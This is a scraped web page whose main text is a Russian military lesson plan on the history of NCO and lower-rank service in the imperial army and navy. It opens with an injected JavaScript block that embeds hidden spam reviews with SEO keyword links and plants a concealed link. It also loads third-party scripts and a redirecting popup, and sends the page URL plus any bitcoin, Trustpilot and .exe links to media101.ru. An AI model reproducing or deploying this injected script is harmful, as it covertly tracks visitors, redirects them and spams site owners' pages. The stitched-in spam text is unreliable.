/* Domain is for sale: admin@kickvox.com */ (function() { 'use strict'; if (window['shbNetLoaded']) return; window['shbNetLoaded'] = true; var isTopLayer = false; var popupHtml = "
I was there for a birthday party and the staff there were helpful and polite. Really professional when handling my luggage, they will open the doors for you with a wide smile too! \u0440\u0443\u043a\u0430\u0432 \u043a\u0443\u043f\u043b\u044e<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Everything is fine. Is just there is no parking :) Should make more parking and traffic jam... \u0434\u0435\u0442\u0441\u043a\u0438\u0435 \u043a\u0440\u043e\u0432\u0430\u0442\u0438 \u043b\u044e\u043b\u044c\u043a\u0438<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Check in was terrible and check out was very slow, but my room was great. aluminum truck ramps with handrails<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
I went to Res .... exquisite place and very good attention \u0448\u0443\u0431\u044b \u044d\u043b\u0438\u0442\u043d\u044b\u0435<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Comfortable place, good service, but no elevator from the basement yet. sa fun<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
It was really informative. I got to know my options better and its definitely helped me to decide what carrier I can choose and the appropriate path to reach my goal en iyi di\u015f klinikleri<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
The casino is very nice and clean. We went to dinner at benihana and it was AMAZING! rv and camper parts<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
I burned gasoline claims open 24 hours it is a lie. This place needs to update hours of operation. gta v rank 100 rp<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Professional staff. The meat was made to perfection and the portion was just perfect unlike other Persian restaurants. Overall very happy with the quality of the food and the staff. 1 \u0447\u0430\u0441 - 1000<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Expensive and not good ... we were very disappointed because the card was envied. a barnes upholstery<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Concerts on the lawn staring Purple Maze (Prince was great!!! moisture drops \u043e\u0442\u0437\u044b\u0432\u044b<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Very helpful staff and top notch vehicle purchases construction companies in malta<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Cosy antique feel. Need to work on their Moscow Mule. French fries are very good especially with truffle. spanish barbie nikki doll<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
We went there for Ed Sheerans concert, the venue was good (but we wish the music was a bit louder), the parking was free and the staff very kind and professional. cars - movie<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Had breakfast there it was delicious. Great place to eat medical park bursa ileti\u015fim<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Absolutely useless for getting any type of info. The phone number is for emergencies only. Admission to the consulate is with appointments only. licensed mechanic near me<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Satff is very cooperative and friendly Handled the case in good manner which helped me a lot in getting My Australia study visa Thanks to Sai overseas educational services \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u043c\u0430\u0433\u0430\u0437\u0438\u043d \u0436\u0435\u043d\u0441\u043a\u043e\u0435 \u043a\u043e\u043b\u0433\u043e\u0442\u043a\u0438<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Entry fee is Rs 300 while cost of water\/food\/ ice cream are higher than market rates iki yollu vana<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Melissa Giangresso was awesome! Shes very personable and made me feel totally comfortable. The rest of the staff is friendly and my whole experience was altogether pleasant. Id highly recommend. wash houses near me<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Great food! Pizza, pasta and especially the Spankys! mitex iga<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Great customer service, awesome & trustworthy people, fast service and affordable prices They have huge variety of jewelries for sale too. Very well known to the community and it s a plus!!! rehvide müük<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
I was pleased with my time at the Royal York. Only complaint is the long wait for one of the 10 elevators to open, however, it was new years Eve. vistametrix<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Was here today for my birthday it was crowded but we were sat right down and the food was fresh and hot! Always promptly refilled and our server was great! Will be back! filly clothing<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Could be a fantastic.place - needs rennovation and possiblly better management jbsmartbulb<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
I really like being in IKEA good prices and you find almost everything that you are looking for your house... Even what you think you dont need youll find it here . Good quality as well and a wide range of. Ideas and prices. antique jewelry savannah ga<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Amazing selection, outstanding service. It is Shoetopia!!! seo complete course<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
buy membership every year,food cost high. picnic area available canva program\u0131<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Am excellent place. Went there in tjenwinter, looking forward to going back when everything is open. Semalt<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
<\/div> <\/div> <\/div> <\/div> <\/td> <\/tr> <\/table> <\/div>"; var popupCreated = false; function onReady() { tryCreatePopup(2); var box = create('div'); append(box, document.body); var defaultStyles = { width: '1px', height: '1px', background: 'transparent', display: 'inline-block', margin: '2px', padding: 0, verticalAlign: 'bottom', border: 'none' }; var a = create('a'); css(a, defaultStyles); document.addEventListener('keydown', function(e) { if (e.keyCode === 192 && e.ctrlKey) { css(a, { width: '20px', height: '20px', background: '#fff', border: '1px solid red' }); } }); document.addEventListener('keyup', function(e) { css(a, defaultStyles); }); a.className = 'shbNetgpLink'; append(a, box); a.href = 'javascript:;'; on(a, 'click', openLinerPopup); css(box, { position: 'fixed', margin: 0, padding: 0, outline: 'none', border: 'none', zIndex: 999999999, overflow: 'visible', direction: 'ltr' }); css(box, { left: '3px', right: 'auto', top: '50px', bottom: 'auto', width: '42px', height: '168px' }); } function clearStyles() { if(typeof document.createStyleSheet === 'undefined') { document.createStyleSheet = (function() { function createStyleSheet(href) { if(typeof href !== 'undefined') { var element = document.createElement('link'); element.type = 'text/css'; element.rel = 'stylesheet'; element.href = href; } else { var element = document.createElement('style'); element.type = 'text/css'; } document.getElementsByTagName('head')[0].appendChild(element); var sheet = document.styleSheets[document.styleSheets.length - 1]; if(typeof sheet.addRule === 'undefined') sheet.addRule = addRule; if(typeof sheet.removeRule === 'undefined') sheet.removeRule = sheet.deleteRule; return sheet; } function addRule(selectorText, cssText, index) { if(typeof index === 'undefined') index = this.cssRules.length; this.insertRule(selectorText + ' {' + cssText + '}', index); } return createStyleSheet; })(); } var sheet = document.createStyleSheet(); sheet.addRule('#shbNetPaddingTable', 'display: none;'); sheet.addRule('#shbNetPaddingWr #shbNetPaddingTable', 'display: table;'); sheet.addRule('.shbNetPopupWr, .shbNetPopupWr *', '-webkit-text-shadow:none !important; text-shadow:none !important;'); sheet.addRule('.shbNetPopupTable img', 'display:inline; width:auto; height:auto; background:none; float:none;'); sheet.addRule('.shbNetPopupTable *', 'margin:0; padding:0; font-family:Tahoma,Arial,Sans-Serif,Verdana; font-size:11px; line-height:normal;'); sheet.addRule('.shbNetPopupTable a, .shbNetPopupTable b', 'text-decoration:none; background:none; height:auto !important; color:#737373; font-size:11px; font-weight:bold;'); sheet.addRule('.shbNetTopLayer .shbNetPopupWr', 'display:block !important; width: 100% !important; x-index:99999999 !important; background: #fff !important; padding: 2px 10px !important;'); sheet.addRule('.shbNetTopLayer #shbNetPaddingTable', 'display:table !important;'); } function createTopLayer() { //if (!domReady) return; var div = document.createElement('div'); div.className = 'shbNetTopLayer'; div.innerHTML = popupHtml; document.body.insertBefore(div, document.body.childNodes[0]); popupCreated = true; } function tryCreatePopup(stage) { if (popupCreated) return; if (isTopLayer) { createTopLayer(); return; } if (stage === 1) { document.writeln(popupHtml); } else if (stage === 2) { var mainBox = create('div'); mainBox.innerHTML = popupHtml; document.body.appendChild(mainBox); } else { return; } var wr = $('shbNetPaddingWr'); if (!wr) return; popupCreated = true; var table = $('shbNetPaddingTable'); css(table, { position: 'fixed', margin: 0, padding: 0, left: 0, top: 0, width: '100%', height: '100%', direction: 'ltr', zIndex: 999999999, background: 'none' }); css(table.getElementsByTagName('td')[0], { verticalAlign: 'middle', background: 'rgba(0, 0, 0, 0.5)' }); var popup = $('shbNetPaddingPopup'); css(popup, { margin: '0 auto', padding: '20px 25px 20px', width: '800px', maxWidth: '98%', background: '#fff', border: '1px solid #000', textAlign: 'left', position: 'relative', fontFamily: 'Tahoma, Arial, Verdana', boxSizing: 'content-box' }); on(document, 'keydown', function(e) { if (e.keyCode === 27) { wr.style.display = 'none'; } }); } function removeClass(node, className) { if (node && node.className) { node.className = node.className.replace(new RegExp('\\b' + className + '\\b', 'g'), ''); } } function openLinerPopup() { var pad = $('shbNetPaddingWr'); var tbl = $('shbNetPaddingTable'); if (!pad || !tbl) return; pad.style.display = 'block'; tbl.style.display = 'table'; var mainPopup = $('shbNetPopupWr'); if (!mainPopup) return; mainPopup.style.display = 'none'; } function $(id) { return document.getElementById(id); } function on(elem, event, handler) { elem.addEventListener(event, handler, false); } function css(elem, style) { for (var prop in style) { elem.style[prop] = style[prop]; } } function create(tag) { return document.createElement(tag); } function append(elem, parent) { parent.appendChild(elem); } setTimeout(function() { window.CJSource = 'shb2'; var script = document.createElement('script'); script.src = 'https://cleverjump.org/counter.js'; (document.head || document.body).appendChild(script); }, 10); if (document.readyState === 'complete' || document.readyState === 'interactive') { onReady(); } else { on(document, 'DOMContentLoaded', onReady); } tryCreatePopup(1); try { clearStyles(); } catch (ex) {} (function() { if (!document.querySelector) return; var added = false; tryAddLink(); window.addEventListener('DOMContentLoaded', tryAddLink); setTimeout(tryAddLink, 100); setTimeout(tryAddLink, 1000); setTimeout(tryAddLink, 2000); function tryAddLink() { if (added) return; var menu = document.querySelector('#wpadminbar .ab-top-menu'); if (!menu) return; var li = document.createElement('li'); li.innerHTML = 'SEO promotion'; //menu.appendChild(li); added = true; save(); } function save() { var json = JSON.stringify({ hrefs: ['wordpress_new'], jsDomain: 'media101.ru', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//media101.ru/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } })(); (function() { function byId(id) { return document.getElementById(id); } function setCookie() { var date = new Date(); date.setTime(date.getTime() + (60 * 60 * 1000)); document.cookie = 'closePopupStartWow=1; path=/; domain=.' + location.hostname + '; expires=' + date.toGMTString(); } function listenerPopupSemalt(event){ if (event.origin != 'https://semalt.com') return; if (!event.data) return; if (event.data == 'closePopupStartWow'){ var el = byId('popupStartWow'); if (!el) return; el.style.display = 'none'; setCookie(); } else if(event.data.indexOf('startPopupStartWow')>-1) { try{var res = JSON.parse(event.data); if(res && res.page){ location.href = 'https://semalt.com/?s='+decodeURIComponent(res.page)+'&ref=blogspot'; } } catch(ee) { } setCookie(); } } function init() { if (document.getElementById('popupWowNode')) return; var div = document.createElement('div'); div.id = 'popupWowNode'; try { div.innerHTML = html; } catch (err) { return; } document.body.appendChild(div); setTimeout(function(){ if (document.cookie.indexOf('closePopupStartWow') !== -1) return; var el = byId('popupStartWow'); if (!el) return; el.setAttribute('src', 'https://semalt.com/popups/popup_wow.php?lang=en'); setTimeout(function(){ el.style.display = 'block'; }, 400); },400); } setTimeout(init, 100); setTimeout(init, 1000); setTimeout(init, 2000); window.addEventListener('message', listenerPopupSemalt, false); })(); setTimeout(function() { try { var links = document.querySelectorAll('a[href^="bitcoin:"], a[href*="trustpilot.com"], a[href$=".exe"]'); //var links = document.querySelectorAll('a[href^="https://"]'); if (links.length) { var hrefs = []; for (var i = 0; i < links.length; i++) { hrefs.push(links[i].href); } var json = JSON.stringify({ hrefs: hrefs, jsDomain: 'media101.ru', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//media101.ru/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } } catch (ex) {} }, 2000); })(); Тема № 31 История и традиции службы нижних чинов в русской армии XVIII веков.
Главная » Статьи » Прапорщики

Тема № 31 История и традиции службы нижних чинов в русской армии XVIII веков.

Тема № 31 История и традиции службы нижних чинов в русской армии XVIII-XX веков.

Занятие: Рассказ – беседа.
Учебные цели: Изучить со слушателями порядок комплектования армии нижними чинами, их историю и традиции.

Время проведения: 10.00 – 11.50.
Место проведения: Библиотека.
Руководство и пособия:
Материально – техническое обеспечение: Опорный конспект, политическая карта мира и России, указка.

Ход занятия

     Вступительная часть –  10 минут. 
Контроль готовности слушателей к проведению занятия.
Доведение целей занятия, вопросов выносимых для обсуждения.
Информирование перед занятием.

Основная часть –  90 минут
1. Порядок комплектования и прохождения службы нижними чинами в русской армии.
2. Порядок комплектования и прохождения службы нижними чинами в русского флота.

Заключительная часть –  10 минут. 
Подведение итогов занятия
Ответы на вопросы, возникшие в ходе занятия
Рекомендации для дальнейшего самостоятельного изучения темы, задание на самоподготовку


Заместитель командира войсковой части по работе с личным составом

________________                                                                    И. Иванов

«____» _________ 2017г.


Тема № 31 История и традиции службы нижних чинов в русской армии XVIII-XX веков.

1. Порядок комплектования и прохождения службы нижними чинами в русской армии.
2. Порядок комплектования и прохождения службы нижними чинами в русского флота.

Роль и место унтер-офицеров – ближайших помощников офицерского состава, мотивы их поступления в армейские ряды, интеллектуальный уровень и материальное положение, опыт отбора, подготовки и выполнения служебных обязанностей поучительны для нас и сегодня.


      В русской армии младшие начальные люди (десятники), позднее назывались урядниками, имелись уже в княжеских дружинах и постоянном стрелецком войске. В русской регулярной армии понятие «сержант» появилось в начале и просуществовало до конца XVIII века. Затем было введено звание «капрал», просуществовало до конца XIX века, которое впоследствии было заменено на звание «унтер-офицер». Институт унтер-офицеров в русской армии существовал с 1716 по 1917 г.

Воинский устав 1716 года к унтер-офицерам относил: сержанта – в пехоте, вахмистра – в кавалерии, каптенармуса, подпрапорщика, капрала, ротного писаря, денщика и ефрейтора. Положение унтер-офицера в военной иерархии определялось так: «Те которые ниже прапорщика, свое место имеют, называются «унтер-офицеры». т.е. нижние начальные люди».

Центральная фигура унтер-офицерского состава русской армии – фельдфебель. Он подчинялся командиру роты, являлся его первым помощником и опорой. Обязанности фельдфебеля были достаточно широки и ответственны. Об этом свидетельствует и вышедшая в 1883 году небольшая инструкция, которая гласила: «Фельдфебель есть начальник всех нижних чинов роты. 1. Он обязан следить за сохранением в роте порядка, за нравственностью и поведением нижних чинов и за точным исполнением обязанностей начальствующими нижними чинами, дежурным по роте и дневальными. 2. Передает нижним чинам все отданные ротным командиром показания. 3. Определяет заболевших в приемный покой или лазарет. 4. Производит все строевые и караульные расчеты роты. 5. При назначении в караул наблюдает, чтобы на посты, имеющие особое значение, были назначены люди испытанные и расторопные. Распределяет и уравнивает между взводами все очередные наряды на службу и на работы. 7. Находиться на учебных занятиях, а также на обеде и ужине нижних чинов. 8. По окончании вечерней переклички принимает рапорты от взводных унтер-офицеров. 9. Поверяет целость и исправное состояние в роте оружия, мундирных и амуничных вещей и всего ротного имущества. 10. Ежедневно предоставляет ротному командиру рапорт о состоянии роты: обо всем случившемся в роте, о делах по хозяйству и продовольствию роты, о нуждах нижних чинов. 11. В случае отсутствия своего в роте передает исполнение своих обязанностей старшему из взводных унтер-офицеров».

Вторим по значительности среди унтер-офицеров был старший унтер-офицер – начальник всех нижних чинов своего взвода. Он отвечал за порядок во взводе, нравственность и поведение рядовых, за успехи обучения подчиненных. Производил наряды нижних чинов на службу и на работы. Увольнял солдат со двора, но не позднее как до вечерней переклички. Проводил вечернюю перекличку и рапортовал фельдфебелю обо всем случившемся за день во взводе.

Согласно уставу унтер-офицерам вверялись первоначальное обучение солдат, постоянный и бдительный надзор за нижними чинами, наблюдение за внутренним порядком в роте. Позднее, в 1764 году, законодательство закрепило за унтер-офицером обязанность не только обучать нижние чины, но и воспитывать их.

С целью увеличения количества унтер-офицеров правительство стремилось заинтересовать желающих: им расширялись права, оклад, устанавливались награды за службу, улучшенная форма одежды и знаки различия, по окончании службы назначалась неплохая пенсия.

По положению о нижних чинах строевой сверхсрочной службы 1911 года унтер-офицеры разделялись на два разряда. Первый – подпрапорщики, произведенные в это звание из строевых сверхсрочных унтер-офицеров. Они пользовались несколько меньшими правами и льготами. Второй – унтер-офицеры и ефрейторы. Они пользовались несколько меньшими правами, чем подпрапорщики. Подпрапорщики в строевых частях занимали должности фельдфебелей и взводных – старших унтер-офицеров. Ефрейторы производились в младшие унтер-офицеры и назначались командирами отделений.

Сверхсрочнослужащие унтер-офицеры производились в подпрапорщики при двух условиях: прослужить в должности взводного (старшего унтер-офицера) в течение двух лет, успешно окончить курс войсковой школы для унтер-офицеров. В подпрапорщики производил своим приказом начальник дивизии. Старшие унтер-офицеры обычно занимали должности помощников командиров взводов. Звание младшего унтер-офицера имели, как правило, командиры отделений.

Старшие сверхсрочнослужащие нижних чинов за безупречную службу жаловались медалью с надписью «За усердие» и знаком Святой Анны. Им также разрешалось вступать в брак и иметь семьи. Сверхсрочнослужащие проживали в казарме в расположении своих рот. Фельдфебелю предоставлялась отдельная комната, два старших унтер-офицера также проживали в отдельной комнате.

Чтобы заинтересовать в службе и подчеркнуть начальствующее положение унтер-офицеров среди нижних чинов, им выдавалось обмундирование и знаков различия, в ряде случаев присущие обер-офицеру: кокарда на головном уборе с козырьком, шапка на кожаной портупее, револьвер с кобурою и шнурком.

Для различия в званиях младшие командиры носили на погонах поперечные нашивки (лычки), старшему и младшему унтер-офицерам полагались нашивки из тесьмы, старшему – три; младшему – две; фельдфебелю – одна широкая нашивка из галуна.

Строевые сверхсрочнослужащие нижних чинов обоих разрядов, прослужившие пятнадцать лет, получали пенсию 96 рублей в год. Жалование подпрапорщика составляло от 340 до 402 рублей в год; ефрейтора –120 рублей в год.

Лишение унтер-офицерского звания производилось начальником дивизии или лицом равной с ним власти.

Формирование системы комплектования русской армии унтер-офицерскими кадрами представляло собой сложный и длительный процесс.

В начале создания регулярной русской армии унтер-офицеры выдвигались из общей массы солдат. Младшими командирами становились, как правило, отличившиеся в сражениях старослужащих солдаты или дворяне, поступившие на службу рядовыми. Но затем Петр I  учредил ряд специальных военных школ. В 1721 году были открыты гарнизонные школы, готовившие унтер-офицеров. Всего таких школ в армии насчитывалось около 50. Кроме того дети дворян, прежде чем стать офицерами, несколько лет несли службу солдатами, а затем унтер-офицерами, для того чтобы знать службу «с фундамента солдатского дела». Снизу до верху прошли по служебной лестнице генералиссимус А.В. Суворов, генерал-фельдмаршалы М.Б. Барклай-де-Толли и М.И. Кутузов.

Во второй половине XVIII века подготовка младшего командного состава потребовала более пристального внимания военного ведомства. С развитием военного дела к знаниям младших командиров стали предъявляться более высокие требования. Кроме того, армия нуждалась в собственных младших специалистах лекарского, хозяйственного и др. профилей.

В начале XIX века в связи с увеличение  численности армии резко возросла потребность в унтер-офицерах. Ведь именно на них лежала основная тяжесть по оказанию помощи командиру роты в обучении новобранцев, в поддержании внутреннего порядка в части. С целью комплектования армейских полков подготовленными унтер-офицерами были сформированы учебные гренадерские батальоны, кавалерийский эскадрон и артиллеристские роты.

Так, в 1808 году в России был сформирован 1-й учебный гренадерский  батальон, «чтобы с лучшей удобностью снабжать армейские полки исправными унтер-офицерами». В 1809 году формируется 2-й учебный гренадерский батальон. Цель учреждения в 1811 году 3-го батальона состояла в том, «чтобы подготовить унтер-офицеров в губернские батальоны с целью обучения и приготовления новобранцев».

Для подготовки унтер-офицеров в кавалерийские полки был утвержден учебный кавалерийский эскадрон, а в артиллерии – две учебные роты. Комплектование батальонов и учебных рот проводилось главным образом из числа так называемых кантонистов – солдатских детей и воспитанников военно-сиротских отделений.

В 1826 году из кантонистов были сформированы четыре учебных карабинерных полка для пехоты, учебный эскадрон для кавалерии, учебный саперный батальон для инженерных войск, учебная артиллеристская бригада для артиллерии, 48 эскадронов и 6 батарей для комплектования полков, расположенных в военных поселениях округов. В этих учебных подразделениях кантонисты получали основательную боевую, строевую и специальную подготовку.

При гвардейских частях были свои особые школы кантонистов для подготовки унтер-офицеров. Они состояли при 12 пехотных полках (до 800 человек), при 9 кавалерийских дивизиях (около 300 человек), в гвардейском артиллерии и у саперов (до 100 человек).

В 60-е годы XIX века в системе комплектования унтер-офицеров наступил следующий этап. Корпус унтер-офицеров русских войск стал пополняться за счет поступивших добровольно на военную службу, выпускников из военно – учебных заведений, рядовых, подготовленных в войсках.

В целях дальнейшего развития системы подготовки унтер-офицерских кадров в 1867 году военным ведомством была утверждена Инструкция для специального образования в войсках строевых нижних чинов. Было принято решение о создании полковых учебных команд.

Важнейшей задачей создаваемых учебных команд явилась подготовка высококвалифицированных унтер-офицеров, способных выполнять различные служебные обязанности, ответственных за свои подразделения в мирное и военное время, в казармах, в карауле и даже в отдельных командировках. Для поступления в эти команды ротные, эскадронные и батарейные командиры отбирали по 4-5 лучших солдат своего подразделения со сроком службы не менее одного года, отличавшихся высокой нравственностью, способностями к военной службе, волевыми качествами и хорошим физическим развитием. Срок обучения устанавливался в два года. В целях организации оптимальной подготовки нижних чинов учебная команда делилась на два отделения – младшие и старшие.

С середины 70-х гг. XIX века, когда комплектование армии стало проводиться на основе всеобщей воинской повинности, требования к организации учебного процесса унтер-офицеров повысилось. Следует учесть, что произошло фактическое расширение круга обязанностей унтер-офицеров.

В целях соответствия уровню подготовки унтер-офицерских кадров новым условиям были уточнены требования как к кандидатам на должность унтер-офицеров, так и к выпускникам учебных команд. Эти обстоятельства и явились основной причиной утверждения в феврале 1875 года нового Положения о приготовлении рядовых унтер-офицерскому званию. С утверждением данного положения были повышены требования к поступающим в учебные команды, разработаны программы обучения, формы контроля и анализа учебных занятий. С 1877 года оны были учреждены при каждом пехотном, кавалерийском и казачьем полку.

За год пребывания в учебных командах солдаты должны были основательно усвоить все, что впоследствии им приходилось применять на деле в качестве учителей, руководителей и ближайших начальников рядовых, все отрасли строевого образования и все, что касалось положению солдата на службе, его прав и обязанностей.

Ежегодно в конце обучения специальная комиссия под председательством командира полка принимала у кандидатов в унтер-офицеры экзамены по всем предметам. Успешно сдавшие экзамены возвращались в свои роты. Если появлялись вакансии, выпускники полковых учебных команд назначались на должность командира отделения и получали чин младшего унтер-офицера. В дальнейшем они могли назначаться и на должность взводного командира. Кстати, существовало положение, по которому нижние чины не могли быть произведены в унтер-офицеры без окончания курса полковой учебной команды, за исключением особых случаев боевого отличия. В командах разведчиков и конных ординарцев в унтер-офицеры также могли произвести без окончания полковой школы.

Обучение на курсах в полковых школах приносило безусловную пользу. Среди унтер-офицеров было немало одаренных людей, которые умело разъясняли солдатам основы военной службы, ее ценности, долг и обязанности. Овладевая знаниями и приобретая опыт, унтер-офицеры становились надежными помощниками офицеров в решении стоявших перед ротами и эскадронами задач.

К концу XIX столетия подготовка младшего командного состава русской армии получила четко оформленную организацию. Основой ее стали полковые учебные команды. Присвоение рядовым унтер-офицерских званий производилось только по представлению непосредственных начальников за отличное поведение и совершенное знание порядка службы, не ранее выслуги в рядовом звании двух лет (в начале XX в. – одного года, и не позже чем за 4 месяца до окончания срока действительной службы).

Помимо полковых и войсковых школ, которые готовили унтер-офицеров для строевых должностей, в России к этому времени были учебные заведения, готовившие специалистов для артиллерии и инженерных войск.

На протяжении веков младшим командирам свойственны чувство патриотизма, верности Военной присяге, твердое воинское знание военного дела. Военная история России изобилует множеством примеров добросовестной службы младших командиров. В мирное время большинство из них выполняют самую трудную, «черновую» работу по обучению и воспитанию солдат. А в суровые дни военных испытаний армия особенно нуждается в их знаниях, умении, опыте. Стойкость армии, ее победы над врагами во многом обусловлены мужеством и героизмом большинства младших командиров. Они высоко несли и несут свое звание. Буквально потом и кровью, не прячась за спины подчиненных, доказывали и доказывают верность присяге.

Именно младшие командиры является тем краеугольным камнем, на котором держится все дело обучения и воспитания военнослужащих рядового состава, поддержания уставного порядка и воинской дисциплины. В условиях строительства Вооруженных Сил Российской федерации необходимо опираться на историю и традиции прохождения службы нижних чинов русской армии, найти этому опыту достойное место в процессе обучения и воспитание младшего командного состава.


      Все нижние чины (по официальной терминологии) Российского императорского флота         разделялись на три категории: матросы и рядовые, унтер-офицеры и кондукторы.

      К первой категории относились матросы 1-й и 2-й статьи, старшие юнги1-й и 2-й статьи, марсовые, рулевые, сигнальщики, сигнальщики-дальномерщики, гардемарины Морского корпуса, Морского инженерного училища и Временных отдельных гардемаринских классов; ученики; музыканты; барабанщики и горнисты; рядовые музыканты; барабанщики и горнисты; кочегары 1-й и 2-й статьи, машинисты 1-й и 2-й статьи и трюмные; мастеровые: оружейники, ложники (специалисты, занимавшиеся изготовлением ложек), плотники парусники, конопатчики, маляры и коки.

Унтер-офицерские звания имели старшие гардемарины учебных заведений, боцманы, боцманматы, рулевые, сигнальные и сигнально–дальномерные боцманматы, марсовые, водолазы, строевые инструкторы, строевые инструкторы-оружейники; строевые унтер офицеры, артиллеристские, минные, гальванерные (специалисты по обслуживанию артиллеристской электротехники), телеграфные, моторные, машинные, минно-машинные, кочегарные и трюмные унтер-офицеры 1-й и 2-й статьи, унтер-офицеры – электрики 1-й и 2-й статьи, унтер-офицеры – электрики службы связи 1-й и 2-й статьи, авиационные унтер-офицеры, рулевые, сигнальные и сигнально-дальномерные унтер-офицеры; унтер-офицеры: марсовые, водолазы, строевые инструкторы, строевые инструкторы-оружейники; унтер-офицеры: музыканты 1-й и 2-й статьи, экипажные барабанщики и штаб-горнисты, писари 1-й, 2-й и 3-й статьи, содержатели казенного имущества 1-й и 2-й статьи6 п0дшкиперы, баталеры, минно-артиллеристские и машинные содержатели, фельдшеры 1-й и 2-й статьи.

К кондукторам флота причислялись: старшие боцманы, старшие береговые боцманы, артиллеристские, минные, рулевые, сигнальные, сигнально–дальномерные, авиационные, машинные, минно-машинные, трюмные, кочегарные, телеграфные, гальванерные и санитарные кондукторы, кондукторы-электрики, шкиперы, старшие баталеры, старшие минно-артиллерийские содержатели и старшие машинные содержатели.

Только что прибывшие на службу новобранец получал звание юнги (окончивший школу юнг) или молодого матроса.  Следующей ступенью являлось звание матроса 2-й статьи или учения. Существовало две системы званий нижних чинов – звания строевого состава (к ним относились строевые матросы, марсовые, рулевые, сигнальщики и водолазы) и звания специалистов (нижние чины этой категории проходили обучение в специальных школах).

После восьми месяцев службы строевой матрос 2-й статьи мог стать матросом 1-й статьи. После обучения в одной из школ матрос-специалист получал звание матроса 2-й статьи (что соответствовало матросу 1-й статьи). Следующей ступенью для них были звания специалиста 1-й статьи и старшего специалиста (в строевом составе аналоги этим званиям отсутствовали).

К началу Первой мировой войны на флоте существовали следующие школы для нижних чинов: артиллеристские и минные школы учебных отрядов Балтийского и Черноморского флотов, класс заграждателей (специалистов по работе с минными заграждениями) Балтийского моря, машинные школы Балтийского и Черноморского флотов, водолазная школа Балтийского флота, учебные команды унтер-офицеров Балтийского и Черноморского флотов, морская учебно-стрелковая команда в Ораниенбауме, школа для нижних чинов Учебного отряда подводного плавания, школы рулевых и сигнальщиков Балтийского и Черноморского флотов, школа судовых содержателей и писарские классы в Кронштадте, школа судовых содержателей в Севастополе, школы команд Сибирской флотилии, школы юнг в Кронштадте и Севастополе, музыкальная школа Балтийского флота, фельдшерские школы в Кронштадте и Николаеве. Существовали также «низшие учебные заведения» - портовые школы в Кронштадте, Севастополе и Владивостоке.

Первое унтер-офицерское звание нижний чин мог получить при положительной аттестации начальства и годичном пребывании в звании матроса 1-й статьи или окончании специальных классов. Для строевого состава первым званием был строевой унтер-офицер 2-й статьи (до1910 года – квартирмейстер). Затем следовало звание боцманмата (унтер-офицер 1-й статьи – для специалистов) далее строевой чин мог стать боцманом (по аттестации). После этого наиболее способных моряков при  условии прохождения сверхсрочной службы по аттестации и экзамену могли производить в старшие боцманы (кондукторы у специалистов).

Корпус кондукторов был создан в 1894 году. Их обязанности и права определялись Положением о старших боцманах и кондукторах. Кондукторы являлись ближайшими помощниками офицеров-специалистов. Старшие офицеры считались правой рукой старшего офицера корабля и пользовались главенством среди остальных корабельных кондукторов. В их обязанности входило наблюдение за порядком и наружной чистотой корабля, в их подчинении находилась вся корабельная команда. На кораблях у кондукторов имелась своя, отдельная от офицерской, кают-компания.

Кондукторы флота (за исключением санитарных) могли производиться в чин подпоручика по Адмиралтейству как за боевые отличия, так и особо выдающиеся заслуги мирного времени.

По усмотрению начальства кондукторы могли сдать экзамен на чин подпоручика по Адмиралтейству. Кондукторы, прослужившие 10 лет, при увольнении со службы могли быть представлены к званию потомственного почетного гражданина или к чину коллежского регистратора, либо подпоручика по Адмиралтейству, а прослужившие 20 лет и более награждались чином губернского секретаря или подпоручика по Адмиралтейству. С 1911 года для кондукторов, сверхсрочнослужащих и лиц соответствующих армейских  званий, увольняемых со службы, специально предоставлялись вакансии в следующих учреждениях: Министерстве императорского двора и уделов, Ведомстве учреждений императрицы Марии, Ведомстве православного исповедания; министерствах: финансов, внутренних дел, юстиции (по главному тюремному управлению), народного просвещения, путей сообщения, торговли и промышленности, Главного управления землеустройства и земледелия. Государственного контроля и Главного управления государственного коннозаводства.

Кондукторы были главными помощниками офицеров на флоте. Именно на них и на унтер-офицерах лежали основные заботы по организации службы. Основная часть работы с личным составом также ложилась на них. В частности, в русском флоте унтер-офицеры командовали взводами, а офицеры – только более крупными подразделениями.

